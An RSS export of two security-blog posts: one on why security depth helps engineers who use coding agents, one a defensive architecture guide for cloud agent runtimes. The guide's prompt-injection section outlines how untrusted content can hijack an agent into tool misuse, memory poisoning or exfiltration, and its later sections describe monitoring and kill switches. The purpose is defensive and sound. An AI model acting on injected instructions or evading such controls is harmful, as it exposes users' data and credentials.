<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[nebulablogs]]></title><description><![CDATA[Deep dives into cloud security, DevSecOps pipelines, threat modeling, container scanning, and AI security for security engineers and developers.]]></description><link>https://nebulablogs.com</link><image><url>https://cdn.hashnode.com/uploads/logos/63c36531502ec63755722bf4/8a40c85c-63ea-45f9-b1b1-4a4ae4e13b53.jpg</url><title>nebulablogs</title><link>https://nebulablogs.com</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 10 Nov 2026 06:46:53 GMT</lastBuildDate><atom:link href="https://nebulablogs.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Security Depth Is A Huge Advantage for Software Engineers]]></title><description><![CDATA[Anthropic's 2026 Agentic Coding Trends Report says engineers can now work across frontend, backend, databases, and infrastructure, areas where they…]]></description><link>https://nebulablogs.com/security-depth-is-a-huge-advantage-for-software-engineers</link><guid isPermaLink="true">https://nebulablogs.com/security-depth-is-a-huge-advantage-for-software-engineers</guid><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Wed, 07 Oct 2026 19:46:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/07881e5f-27dd-4ff9-8274-09e51612de69.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Anthropic's 2026 Agentic Coding Trends Report says engineers can now work across frontend, backend, databases, and infrastructure, areas where they previously lacked expertise, because "AI fills in knowledge gaps while humans provide oversight and direction." Anthropic sells coding agents, so read that as a vendor's view. The surveys below point the same way.</p>
<p><strong>When agents fill knowledge gaps across the stack, narrow specializations lose their edge, and the scarce skill is the judgment to tell whether what an agent produced is safe. A developer with strong security skills carries that judgment inside the work they already do.</strong></p>
<p>This post goes through the evidence that stack specializations are blurring, the ways generated code fails that security depth catches, where that depth multiplies a developer's existing stack, and how to build it without changing jobs.</p>
<h2>Agents make breadth inexpensive</h2>
<p>Three data points on where the boundaries are going:</p>
<ul>
<li><p>In the 2026 AI Engineering Survey, 81% of respondents say roles in the product organization are blurring (44% significantly, 37% somewhat).</p>
</li>
<li><p>In the Stack Overflow 2026 survey, 56% of respondents use AI or agents to generate code in an area unfamiliar to them.</p>
</li>
<li><p>Addy Osmani expects AI tools to "augment generalists more," and describes the profile that holds up as a T shape: "Deep expertise in one or two areas (the vertical stroke), broad familiarity with many others (the horizontal stroke)."</p>
</li>
</ul>
<p>The surveys show roles blurring. They do not show specialists disappearing, and Osmani's T shape is the version of specialization that survives: breadth from the agent, depth from you. The useful question is which depth keeps paying when an agent writes the first draft. Security qualifies because generated code fails in security-shaped ways.</p>
<h2>Generated code often lacks security controls unless instructed</h2>
<p>The OWASP Top 10:2025 calls itself "a standard awareness document for developers," and broken access control sits at the top. GitHub's Octoverse 2025 shows the same shift in code scanning: broken access control overtook injection as the most common CodeQL alert, flagged in more than 151,000 repositories (up 172% year over year). GitHub attributes much of it to "misconfigured permissions in CI/CD pipelines and AI-generated scaffolds that skip critical auth checks."</p>
<p>Two studies show how that happens:</p>
<ol>
<li><p><strong>Perry et al. (Stanford, ACM CCS 2023, 47 participants).</strong> Developers with an AI assistant "wrote significantly less secure code" and "were also more likely to believe they wrote secure code." On the SQL task, 36% of the AI group wrote injectable code, against 7% of the control group. The sample is small, so read it as a study and keep the mechanism: confidence rose while quality fell.</p>
</li>
<li><p><strong>Veracode's 2026 GenAI Code Security Report (a vendor study, run on raw models with no security prompting or review).</strong> The average security pass rate was 56%, essentially unchanged from 55% the year before, so about 44% of tasks still introduced a known vulnerability while syntax correctness is near 100%. Model size made no difference, and coding-specialized models (51%) scored no higher than general-purpose ones (52%).</p>
</li>
</ol>
<p>Developers already work with this gap in mind. In the Stack Overflow 2026 survey, 48% say they trust AI output only when they can easily verify it. Verification is the oversight half of Anthropic's sentence, and for security it means reading generated code and finding the missing authorization check or the string-concatenated query. That takes knowing both the framework and the attack.</p>
<h2>Security depth multiplies the stack you already have</h2>
<p>Security depth adds to what a developer already does in each stack:</p>
<table>
<thead>
<tr>
<th>Your stack</th>
<th>What security depth adds</th>
</tr>
</thead>
<tbody><tr>
<td>Backend, web, API</td>
<td>Reviewing authorization layers, catching missing checks in generated scaffolds, threat modeling a feature before an agent builds it</td>
</tr>
<tr>
<td>Platform, infra, SRE</td>
<td>Reviewing the IAM and pipeline permissions that agents and builds inherit</td>
</tr>
<tr>
<td>CI/CD, build, tooling</td>
<td>Dependency pinning, artifact signing, and limiting which secrets a build or an agent can reach</td>
</tr>
<tr>
<td>Data or backend with logging experience</td>
<td>Writing detections as code, with tests and pipelines</td>
</tr>
<tr>
<td>ML or LLM application developer</td>
<td>Setting tool boundaries and agent permissions, with prompt injection and excessive agency from the OWASP Top 10 for LLM Applications as the threat list</td>
</tr>
<tr>
<td>Systems, C or C++</td>
<td>Memory-safety migration and fuzzing</td>
</tr>
</tbody></table>
<p>The last row has the clearest measured result. Android's share of memory-safety vulnerabilities fell from 76% in 2019 to 24% in 2024, and below 20% in 2025. Google's explanation is one sentence: "The problem is overwhelmingly with new code." The drop followed a change in how developers write new components, with memory-safe languages as the default. Memory-safety bugs account for about 70% of Microsoft CVEs (2006 to 2018) and about 70% of Chromium's high-severity bugs, according to CISA and Chromium's own analysis, and that figure describes those large C and C++ codebases. In those codebases, the decision with the largest security effect was an engineering decision about new code.</p>
<h2>Agents find bugs faster than people can verify them</h2>
<p>AI is taking over specific tasks: alert triage, summaries, and finding and patching known bug classes. The evidence shows a new bottleneck forming behind the discovery step.</p>
<ul>
<li><p><strong>HackerOne 2025:</strong> valid AI-related vulnerability reports rose 210% and prompt injection reports rose 540%. AI adds new attack surface to secure.</p>
</li>
<li><p><strong>Triage fatigue:</strong> discovery got cheap in 2026 and validation did not. Two examples show where the queue forms.</p>
<ul>
<li><p><strong>Project Glasswing.</strong> Anthropic's May 2026 update says maintainers face "a deluge of low-quality, AI-generated bug reports," that several are "severely capacity constrained," and that some asked it to slow its disclosures "because they need more time to design patches." Its disclosure ledger names independent human triage and review as "the rate limiting step." VulnCheck's September read of that ledger counted 26,153 findings, of which 2,736 (10.5%) had reached the ledger and 202 (0.8%) were marked fixed. Where both ratings exist, Claude scored 91.5% of findings high or critical and maintainers scored 51.3% that way. VulnCheck disputes parts of Anthropic's true-positive claim and reports that Anthropic's dashboard counts 421 fixes where the ledger lists 202, so treat the exact rates as contested. The queue is the consistent part: Anthropic's own summary is that progress "is limited by how quickly we can verify, disclose, and patch" what AI finds.</p>
</li>
<li><p><strong>Google's open source reward program.</strong> On October 1, 2026, Google stopped accepting product vulnerability submissions to its Open Source Software Vulnerability Reward Program, citing "a significant rise in automated submissions, the vast majority of which are not valid." Supply-chain reports and reports already filed stay open, and Google committed to an update in Q1 2027. In early September the Go project had added a section on LLM-generated reports to its security policy: reporters should review and filter the output first, and those who forward large amounts of unfiltered output won't be credited.</p>
</li>
</ul>
</li>
</ul>
<p>Reproducing a finding, judging reachability and severity, and writing and testing the patch are the steps maintainers are short of. Each one needs someone who can read the code and think like the attacker. That is a developer with security depth, in any stack.</p>
<h2>Build the depth inside your current role</h2>
<p>The route stays inside the job you have, and each step applies directly to code you own.</p>
<ol>
<li><p><strong>Learn the vocabulary attackers use.</strong> Read the OWASP Top 10:2025 and the OWASP Top 10 for LLM Applications 2025, and map each item to a bug you have seen or shipped. Read ten entries in the CISA Known Exploited Vulnerabilities catalog (1,734 entries as of October 4, 2026) for technology you use, and ask how each bug got into the code. Follow the Google Project Zero blog for root-cause analyses.</p>
</li>
<li><p><strong>Practice on labs.</strong> PortSwigger Web Security Academy is free and has interactive labs (30 XSS, 16 SQL injection, 7 on web LLM attacks, 5 on API testing). OWASP Juice Shop is an intentionally vulnerable app you can run locally.</p>
</li>
<li><p><strong>Run a standard against your own service.</strong> OWASP ASVS 5.0 is a checklist for what "secure" means for an application. Write down every control you can't point to in code.</p>
</li>
<li><p><strong>Bring it into your team.</strong> Join or start a security champions program: OWASP's guidance is that "security engineers do not scale well across teams of developers," and that champions should be nominated, with management buy-in for protected time. Own threat modeling for your team's next design doc. Burn down the SAST, dependency, and secret-scanning backlog (CodeQL, Dependabot, secret scanning), since those findings tend to sit unfixed. Pair with the AppSec team when a pentest or bug bounty report hits your service.</p>
</li>
</ol>
<h2>Putting it together</h2>
<p>Agents are making stack breadth cheap, and the work that remains for the human is oversight: deciding whether generated code, a generated patch, or a generated finding is correct and safe. Security depth is the vertical stroke of the T that applies in every stack, from access control in a web app to agent permissions in an LLM system to memory safety in C.</p>
<p>This week, run ASVS against one service you own and write down the three controls you can't point to in code. That list is your first threat model.</p>
<h2>References</h2>
<p><strong>Developer roles and AI</strong></p>
<ul>
<li><p><a href="https://resources.anthropic.com/hubfs/2026%20Agentic%20Coding%20Trends%20Report.pdf">Anthropic: 2026 Agentic Coding Trends Report</a></p>
</li>
<li><p><a href="https://www.notion.com/lp/ai-engineering-survey">2026 AI Engineering Survey</a></p>
</li>
<li><p><a href="https://survey.stackoverflow.co/2026/ai">Stack Overflow Developer Survey 2026, AI</a></p>
</li>
<li><p><a href="https://addyosmani.com/blog/next-two-years/">Addy Osmani: The Next Two Years of Software Engineering</a></p>
</li>
</ul>
<p><strong>Code and vulnerabilities</strong></p>
<ul>
<li><p><a href="https://owasp.org/Top10/2025/">OWASP Top 10:2025</a></p>
</li>
<li><p><a href="https://genai.owasp.org/llm-top-10/">OWASP Top 10 for LLM Applications 2025</a></p>
</li>
<li><p><a href="https://owasp.org/www-project-application-security-verification-standard/">OWASP ASVS</a></p>
</li>
<li><p><a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/">GitHub Octoverse 2025</a></p>
</li>
<li><p><a href="https://security.googleblog.com/2024/09/eliminating-memory-safety-vulnerabilities-Android.html">Google Security Blog: Eliminating Memory Safety Vulnerabilities at the Source</a></p>
</li>
<li><p><a href="https://blog.google/security/rust-in-android-move-fast-fix-things/">Google: Rust in Android, move fast and fix things</a></p>
</li>
<li><p><a href="https://www.cisa.gov/resources-tools/resources/case-memory-safe-roadmaps">CISA et al.: The Case for Memory Safe Roadmaps</a></p>
</li>
<li><p><a href="https://www.chromium.org/Home/chromium-security/memory-safety/">Chromium: Memory Safety</a></p>
</li>
<li><p><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA Known Exploited Vulnerabilities catalog</a></p>
</li>
</ul>
<p><strong>AI-generated code</strong></p>
<ul>
<li><p><a href="https://arxiv.org/abs/2211.03622">Perry et al., "Do Users Write More Insecure Code with AI Assistants?"</a></p>
</li>
<li><p><a href="https://www.veracode.com/blog/2026-genai-code-security-report-ai-risk/">Veracode 2026 GenAI Code Security Report</a></p>
</li>
</ul>
<p><strong>AI and defenders</strong></p>
<ul>
<li><p><a href="https://www.hackerone.com/report/hacker-powered-security">HackerOne Hacker-Powered Security Report, 9th edition</a></p>
</li>
<li><p><a href="https://www.anthropic.com/research/glasswing-initial-update">Anthropic: Project Glasswing, an initial update</a></p>
</li>
<li><p><a href="http://www.vulncheck.com/blog/anthropic-glasswing-receipts">VulnCheck: The Anthropic Glasswing Receipts Are Starting to Trickle In</a></p>
</li>
<li><p><a href="https://bughunters.google.com/about/rules/open-source/google-open-source-software-vulnerability-reward-program-rules#product-vulnerabilities">Google OSS VRP rules, with the product vulnerability pause notice</a></p>
</li>
<li><p><a href="https://thehackernews.com/2026/10/google-pauses-oss-product-bug-bounty.html">The Hacker News: Google pauses OSS product bug bounty rewards</a></p>
</li>
<li><p><a href="https://techcrunch.com/2026/10/04/google-froze-its-open-source-bug-bounty-program-due-to-a-significant-rise-in-ai-submissions/">TechCrunch: Google froze its open source bug bounty program</a></p>
</li>
</ul>
<p><strong>Build the depth</strong></p>
<ul>
<li><p><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></p>
</li>
<li><p><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop</a></p>
</li>
<li><p><a href="https://projectzero.google/">Google Project Zero</a></p>
</li>
<li><p><a href="https://devguide.owasp.org/en/08-culture-process/02-security-champions/01-security-champions-program/">OWASP Developer Guide: Security Champions Program</a></p>
</li>
</ul>
<p><em>Research for this post was assisted by AI agents.</em></p>
]]></content:encoded></item><item><title><![CDATA[The current state of security for autonomous agents in the cloud]]></title><description><![CDATA[Security controls and best practices for architecting the runtime: isolation, identity, egress, credentials, and a tool broker outside the model.]]></description><link>https://nebulablogs.com/the-current-state-of-security-for-autonomous-agents-in-the-cloud</link><guid isPermaLink="true">https://nebulablogs.com/the-current-state-of-security-for-autonomous-agents-in-the-cloud</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Cloud Computing]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sun, 20 Sep 2026 22:37:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/45a824fd-8606-4f24-bfef-40aebc240186.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This post covers how different cloud providers (AWS, Azure, and GCP) productize parts of the agent runtime, and how to architect the rest yourself. Prompt injection is still intrinsic, so a hijacked plan has to hit session sandboxes, short-lived agent identity, brokered credentials, deny-by-default egress, and AuthZ outside the model before it can act. The rest of the piece is framed as stacked planes: isolation, identity, credentials, network/egress, the action broker, memory and data, observability and kill switches, tenancy, and supply chain. Each section places the control in the architecture; a later pass separates what the platform already enforces from what your app still owns.</p>
<hr />
<h2>Prompt Injection</h2>
<p>OWASP's LLM Top 10 2026 still puts prompt injection first. The Agentic Top 10 widens the same failure into multi-step damage: goal hijack, tool misuse, identity abuse, unexpected code execution, memory poisoning, cascading failures, and rogue agents.</p>
<p>The chain that matters for infra is short:</p>
<ol>
<li><p>Untrusted content enters context (user text, retrieved docs, tool replies, screenshots).</p>
</li>
<li><p>The model proposes tool calls or code.</p>
</li>
<li><p>Something in <em>your</em> stack must authorize arguments, attach credentials, and choose a network path.</p>
</li>
<li><p>If that something is the model, or a shared god key living in the sandbox, you have already lost.</p>
</li>
</ol>
<p>OWASP's prompt-injection write-up treats private data + untrusted content + external communication as a pre-deployment check. For platform design, that mix is the architecture test: wherever those three meet, you need isolation, AuthZ outside the model, and egress policy.</p>
<p>NIST AI 600-1 adds the ops half: go/no-go thresholds, monitoring, and the ability to <strong>deactivate</strong> a generative system when risk is unacceptable. Design kill switches into the runtime from the start.</p>
<hr />
<h2>How trust actually breaks in an agent runtime</h2>
<p>A useful mental model is two planes:</p>
<img src="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/c2a9c76f-7b82-4472-bc08-dfa12965ccc0.png" alt="" style="display:block;margin:0 auto" />

<p>OpenAI's Agents guidance names this explicitly: the harness owns the loop, routing, approvals, and recovery; the sandbox owns files, commands, and mounts. Anthropic's computer-use docs push the same idea: dedicated low-privilege VM/container, internet allowlist, no sensitive credentials in the environment, human confirmation for consequential actions.</p>
<p>Cloud platforms are converging on session-scoped isolation. Amazon Bedrock AgentCore Runtime puts each user session in a dedicated microVM and tears it down when the session ends (with memory sanitization). That is strong isolation. AWS AgentCore also states that <strong>session-to-user binding is your job</strong>: the platform does not prove that <code>runtimeSessionId</code> belongs to the authenticated caller. If your backend accepts a client-supplied session id under a shared invoker principal, you have rebuilt session routing as an attack surface.</p>
<p>Inside that microVM, execution-role credentials can be readable via the metadata path. Treat "isolated session" as a hard boundary against <em>other tenants</em>. Keep long-lived cloud admin keys out of the guest.</p>
<hr />
<h2>Isolation plane: one session, one sandbox</h2>
<p>Pick the hard boundary from the workload.</p>
<table>
<thead>
<tr>
<th>Boundary</th>
<th>When it fits</th>
<th>What it does not buy you</th>
</tr>
</thead>
<tbody><tr>
<td>MicroVM (Firecracker / managed equivalents)</td>
<td>Hostile or multi-tenant code/tool runners</td>
<td>Automatic user binding or secret safety inside the guest</td>
</tr>
<tr>
<td>gVisor (<code>runsc</code>)</td>
<td>Linux-container compatibility with a smaller host syscall surface</td>
<td>Network policy, cgroups, or hardware side-channel immunity by itself</td>
</tr>
<tr>
<td>WASM / WASI</td>
<td>Capability-deny-by-default compute with limited OS fidelity</td>
<td>Full Linux semantics for arbitrary agent tooling</td>
</tr>
</tbody></table>
<p>Firecracker's production guidance is: start instances only through the jailer (or equally tight constraints). Wasmtime's WASI context is empty by default: no env, no preopens, addresses denied until you grant them. That default matches how you want agent tool runners to behave.</p>
<p>Prefer destroy-on-complete over long-lived shared runners for multi-tenant execution. Durable memory belongs in a memory service with tenant filters, not in a warm sandbox that another user might reuse.</p>
<hr />
<h2>Identity plane: agents need their own principals</h2>
<p>Three clouds now ship first-party agent identity. Use them as principals, then still design AuthZ.</p>
<p><strong>Google Cloud Agent Identity</strong> gives each agent a SPIFFE-based ID and an auto-managed X.509 credential. Tokens for Google APIs are bound to that cert; Context-Aware Access can require mTLS and DPoP so a stolen bearer token is harder to replay outside the trusted runtime. Certs rotate on a short horizon (docs: 24 hours). Deleting an agent does not clean up IAM bindings that still name its principal; redeploy creates a new principal.</p>
<p><strong>Amazon Bedrock AgentCore Identity</strong> centers on workload identities plus a KMS-backed token vault for OAuth tokens, client credentials, and API keys. Prefer <code>GetWorkloadAccessTokenForJWT</code> (cryptographic user proof) over the opaque userId path when JWTs are available. Resource indicators (RFC 8707) show up in the docs for a reason: MCP-style audience binding.</p>
<p><strong>Microsoft Entra Agent ID</strong> treats agents as their own identity class: sponsorship, blueprints, distinct audit entries, Conditional Access that can <strong>block</strong> agent identities, and ID Protection signals for risky agents. Conditional Access and ID Protection for AI agents require a <strong>Microsoft Agent 365</strong> license for each user, paired with standard Microsoft Entra ID P1 or P2 prerequisites. Blueprint count should follow trust boundaries (shared runtime, secrets, filesystem, network). Default planning guidance is one agent identity per logical agent. Distinguish autonomous operation (agent as subject) from interactive/delegated operation (user as subject, agent as actor).</p>
<p>SPIFFE/SPIRE remains the open workload-identity foundation when you DIY; cloud Agent ID products are the managed expression of the same idea. Deeper SPIFFE mechanics for agents live in a separate note if you need them.</p>
<hr />
<h2>Credential plane: broker in, never bake in</h2>
<p>OpenAI's sandbox security guide is the clearest short statement: keep application API keys outside the environment; allow outbound only to approved hosts; use a credential broker or vault proxy so third-party secrets are injected for approved destinations. Secrets injected into the sandbox env are still readable by agent-generated code.</p>
<p>GCP's auth-manager + gateway pattern can keep raw end-user tokens off the agent. AWS AgentCore's token vault binds credentials to authorized workload identities and encrypts at rest. MCP's HTTP authorization profile is OAuth 2.1 with PKCE and resource indicators; servers must audience-validate tokens and must not pass tokens through to upstream APIs.</p>
<p>Rule of thumb:</p>
<ul>
<li><p><strong>User-delegated OAuth</strong> when the tool touches a user's private resources.</p>
</li>
<li><p><strong>Agent service identity</strong> when the call is machine-to-machine against shared tools or cloud APIs.</p>
</li>
<li><p>Never one "god" key shared across agents or tenants.</p>
</li>
</ul>
<hr />
<h2>Network plane: deny by default, then name destinations</h2>
<p>OWASP's Agentic Top 10 mitigations for tool misuse call out outbound allowlists for sandboxed tool and code execution. Anthropic and OpenAI both document allowlisting domains for computer-use / sandbox egress. That is also how you shrink SSRF and browsing-based exfil: the agent becomes a proxy the moment you give it URL fetch or a browser.</p>
<p>Cloud knobs that match the same idea:</p>
<ul>
<li><p><strong>Azure Foundry Agent Service</strong> (GA private networking): BYO VNet or managed VNet, private endpoints, public access disabled by default in the private networking model. One thing worth calling out: even when the Foundry account and dependencies sit behind private endpoints, a <strong>hosted agent endpoint URL can still stay publicly addressable</strong>. Tenant isolation on that URL is by identity and per-user session.</p>
</li>
<li><p><strong>GCP Agent Runtime / Gemini Enterprise Agent Platform</strong>: VPC Service Controls can block default public internet from the managed environment; egress must be intentional (customer VPC, proxy, NAT). Deploy into the perimeter before you rely on it.</p>
</li>
<li><p><strong>AWS AgentCore</strong>: network security guidance plus IAM condition keys that can require VPC subnet/security-group constraints for runtime deployments.</p>
</li>
</ul>
<p>Separate browsing/fetch runners from high-value credential namespaces. Block link-local and metadata ranges from untrusted sandboxes. Prefer allowlists over blocklists.</p>
<hr />
<h2>Action broker: the model proposes, policy disposes</h2>
<p>Treat tool calling as a brokered control plane:</p>
<ol>
<li><p>Allowlist tools per agent identity.</p>
</li>
<li><p>Validate schemas and arguments in code, not in the prompt.</p>
</li>
<li><p>Attach scoped credentials per call from the vault.</p>
</li>
<li><p>Gate side effects by risk class (read vs write vs money vs identity change), with human confirmation for destructive or high-impact actions.</p>
</li>
<li><p>Emit an audit event before and after execution.</p>
</li>
</ol>
<p>That broker is where MCP OAuth, Entra/AWS AgentCore/GCP identities, and HITL meet. Dry-run or diff views before destructive approvals help humans stay real reviewers instead of rubber stamps.</p>
<hr />
<h2>Memory and data plane: segment before retrieve</h2>
<p>OWASP's Agentic Top 10 calls for memory segmented by user, session, and domain; encryption in transit and at rest; minimized retention; per-tenant namespaces for shared stores. AWS AgentCore is explicit that session microVM state is ephemeral; durable context belongs in a memory product with your filters applied.</p>
<p>Put retrieval behind a data-plane check that enforces tenant/user filters <em>before</em> chunks enter model context. Retrieved text is still untrusted for goal and tool influence. Encrypt transcripts, tool-result blobs, and memory stores with customer-managed keys where your threat model requires it. Classify prompt logs as sensitive.</p>
<hr />
<h2>Observability and kill switches</h2>
<p>OWASP's Agentic Top 10 letter treats strong observability as non-negotiable: what the agent did, why, and which tools it invoked. Unbounded consumption maps to rate limits, token/spend budgets, and circuit breakers. Cascading-failure guidance is why you limit fan-out between agents.</p>
<p>Correlate at least: <code>trace_id</code>, <code>agent_identity</code>, <code>user_subject</code> (if on-behalf-of), <code>session_id</code>, <code>tool_name</code>, <code>tool_args_hash</code>, <code>policy_decision</code>, <code>resource</code>, <code>model_request_id</code>, <code>egress_destination</code>. Prefer append-only sinks for high-assurance investigation.</p>
<p>Emergency revoke, practiced once before you need it:</p>
<ol>
<li><p>Disable or Conditional-Access-block the agent identity.</p>
</li>
<li><p>Destroy active sandboxes/sessions.</p>
</li>
<li><p>Revoke OAuth grants in the token vault.</p>
</li>
<li><p>Freeze spend and rate budgets.</p>
</li>
<li><p>Keep immutable logs.</p>
</li>
</ol>
<p>That sequence is how NIST's deactivation language becomes a runbook.</p>
<hr />
<h2>Tenancy and blast radius</h2>
<p>AWS AgentCore's multi-tenant guidance is worth internalizing even if you are not on AWS: prefer distinct IAM principals per user or tenant for high-security designs; a shared invoker plus client-chosen session ids is fragile. Agents that share a runtime instance can share a filesystem; the isolation unit is the session, so do not co-locate agents that must not see each other in the same session.</p>
<p>Entra: a compromised blueprint affects every identity under it. OpenAI: separate environments (and often separate projects) for workloads that must not share data.</p>
<p>Assume shared model-provider infrastructure may retain prompts unless your contract says otherwise. Segregate vector indexes and cache keys by tenant. Purge memory namespaces on offboarding.</p>
<hr />
<h2>Supply chain for agent definitions</h2>
<p>OWASP's Agentic Top 10 treats prompts, tool manifests, and orchestration configs as supply chain artifacts: sign and attest them, pin dependencies, use curated registries for MCP servers, reject unsigned updates where you can. Pair an AIBOM (OWASP GenAI's CycloneDX-oriented generator exists for this) with ordinary SBOMs for runner images. Aim SLSA Build provenance at the images that execute tools, not only at the app container that hosts the chat UI. The LLM Top 10 supply-chain entry covers complementary model and plugin supply risks.</p>
<hr />
<h2>What platforms give you vs what you still own</h2>
<table>
<thead>
<tr>
<th>Layer</th>
<th>Often productized now</th>
<th>Still your design</th>
</tr>
</thead>
<tbody><tr>
<td>Isolation</td>
<td>AWS AgentCore per-session microVMs; provider sandbox docs</td>
<td>Session↔user binding; what secrets enter the guest</td>
</tr>
<tr>
<td>Identity</td>
<td>GCP Agent Identity, Entra Agent ID, AWS AgentCore Identity</td>
<td>On-behalf-of (user-delegated) vs autonomous mode; blueprint/trust-boundary layout; Agent 365 + Entra P1/P2 for CA / ID Protection</td>
</tr>
<tr>
<td>Credentials</td>
<td>Token vaults, auth managers, MCP OAuth profiles</td>
<td>No god keys; audience binding; broker wiring</td>
</tr>
<tr>
<td>Network</td>
<td>Foundry private networking (GA); VPC-SC + PSC; VPC condition keys</td>
<td>Allowlist content; fetch-runner separation; hosted agent URL may remain public</td>
</tr>
<tr>
<td>Ops</td>
<td>Cloud audit integrations, risky-agent signals</td>
<td>Correlated app logs, budgets, practiced kill switch</td>
</tr>
</tbody></table>
<h3>Bedrock Agents vs AWS AgentCore</h3>
<p>Do not conflate these AWS surfaces.</p>
<p><strong>Amazon Bedrock Agents</strong> (now labeled <strong>Agents Classic</strong> in AWS docs) is a managed orchestration product: you configure an agent, action groups (often Lambda + OpenAPI schemas), optional knowledge bases, aliases, and optional Guardrails. AWS manages prompting and invocation plumbing. The security story is mostly IAM: a least-privilege agent service role (model invoke, S3 schemas, knowledge-base query, optional <code>bedrock:ApplyGuardrail</code>), resource policies so only your agent can invoke those Lambdas, and callers restricted to specific agent-alias ARNs for <code>InvokeAgent</code>. That is real shared-responsibility work on IAM and Guardrails. Per-session microVM isolation for custom agent code is AWS AgentCore's documented model. AWS also states Agents Classic is <strong>no longer open to new customers</strong> (existing customers continue; new work is pointed at AWS AgentCore).</p>
<p><strong>Amazon Bedrock AgentCore</strong> is the runtime/control-plane set for custom agent code and tools: Runtime (per-session microVM isolation), Identity (workload identities + token vault), plus Memory, Gateway, and related services. You bring the agent framework; AWS AgentCore hosts and operates the isolation and credential edges. Session-to-user binding, execution-role blast radius inside the guest, and your tool broker remain yours.</p>
<p>If you are reviewing an existing Agents Classic deployment, keep reviewing action-group IAM and Guardrails. If you are designing new autonomous infra on AWS, design against AWS AgentCore's isolation and identity model, then still add the broker, egress, and kill-switch planes above.</p>
<hr />
<h2>Putting it together</h2>
<p>If you can only harden two seams this quarter, ship the <strong>tool broker</strong> (AuthZ and schema checks outside the model, scoped creds per call) and a <strong>practiced kill switch</strong> (identity disable, session destroy, vault revoke, budget freeze, logs retained). Isolation and egress decide how far a bad plan can travel; the broker and the kill switch decide whether you can stop it.</p>
<p>Prompt hardening still helps for quality and soft guardrails. Runtime trust still sits in code, identity, network, and ops.</p>
<hr />
<h2>References</h2>
<ul>
<li><p>OWASP Top 10 for Agentic Applications 2026: <a href="https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/">https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/</a></p>
</li>
<li><p>OWASP GenAI LLM Top 10 2026: <a href="https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/">https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/</a></p>
</li>
<li><p>OWASP prompt injection (LLM Top 10 2026, canonical): <a href="https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/blob/main/2026/final/LLM01_PromptInjection.md">https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/blob/main/2026/final/LLM01_PromptInjection.md</a></p>
</li>
<li><p>NIST AI 600-1: <a href="https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf">https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf</a></p>
</li>
<li><p>Firecracker design / prod host setup: <a href="https://github.com/firecracker-microvm/firecracker/blob/main/docs/design.md">https://github.com/firecracker-microvm/firecracker/blob/main/docs/design.md</a></p>
</li>
<li><p>gVisor security model: <a href="https://gvisor.dev/docs/architecture_guide/security/">https://gvisor.dev/docs/architecture_guide/security/</a></p>
</li>
<li><p>Wasmtime WASI context defaults: <a href="https://docs.wasmtime.dev/api/wasmtime_wasi/struct.WasiCtxBuilder.html">https://docs.wasmtime.dev/api/wasmtime_wasi/struct.WasiCtxBuilder.html</a></p>
</li>
<li><p>Amazon Bedrock Agents (Agents Classic): <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/agents.html">https://docs.aws.amazon.com/bedrock/latest/userguide/agents.html</a></p>
</li>
<li><p>Bedrock Agents service role / permissions: <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/agents-permissions.html">https://docs.aws.amazon.com/bedrock/latest/userguide/agents-permissions.html</a></p>
</li>
<li><p>Amazon Bedrock AgentCore Runtime security: <a href="https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html">https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html</a></p>
</li>
<li><p>AWS AgentCore Identity: <a href="https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/identity.html">https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/identity.html</a></p>
</li>
<li><p>Google Cloud Agent Identity: <a href="https://docs.cloud.google.com/iam/docs/agent-identity-overview">https://docs.cloud.google.com/iam/docs/agent-identity-overview</a></p>
</li>
<li><p>Microsoft Entra Agent ID architecture: <a href="https://learn.microsoft.com/en-us/entra/agent-id/how-to-plan-agent-identity-architecture">https://learn.microsoft.com/en-us/entra/agent-id/how-to-plan-agent-identity-architecture</a></p>
</li>
<li><p>Conditional Access for agents (Agent 365 + Entra P1/P2): <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/agent-id">https://learn.microsoft.com/en-us/entra/identity/conditional-access/agent-id</a></p>
</li>
<li><p>ID Protection for agents: <a href="https://learn.microsoft.com/en-us/entra/id-protection/concept-risky-agents">https://learn.microsoft.com/en-us/entra/id-protection/concept-risky-agents</a></p>
</li>
<li><p>Azure Foundry agent private networking: <a href="https://learn.microsoft.com/en-us/azure/foundry/agents/how-to/virtual-networks">https://learn.microsoft.com/en-us/azure/foundry/agents/how-to/virtual-networks</a></p>
</li>
